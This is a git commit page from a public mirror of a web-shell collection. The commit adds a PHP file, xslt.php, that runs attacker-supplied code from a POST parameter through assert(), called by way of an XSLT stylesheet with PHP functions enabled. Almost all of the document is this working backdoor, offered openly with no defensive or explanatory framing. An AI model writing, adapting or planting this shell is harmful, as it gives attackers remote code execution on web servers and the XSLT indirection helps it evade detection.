1
0
mirror of https://github.com/tennc/webshell.git synced 2025-12-06 12:51:28 +00:00

Create xslt.php

from : http://drops.wooyun.org/tips/5799
This commit is contained in:
tennc
2015-05-16 11:34:43 +08:00
parent 69d5a36bbf
commit 6652171538

15
php/xslt.php Normal file
View File

@@ -0,0 +1,15 @@
<?php
$xml='<root>assert($_POST[a]);</root>';
$xsl='<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:zcg="http://php.net/xsl">
<xsl:template match="/root">
<xsl:value-of select="zcg:function(\'assert\',string(.))"/>
</xsl:template>
</xsl:stylesheet>';
$xmldoc = DOMDocument::loadXML($xml);
$xsldoc = DOMDocument::loadXML($xsl);
$proc = new XSLTProcessor();
$proc->registerPHPFunctions();
$proc->importStyleSheet($xsldoc);
$proc->transformToXML($xmldoc);
?>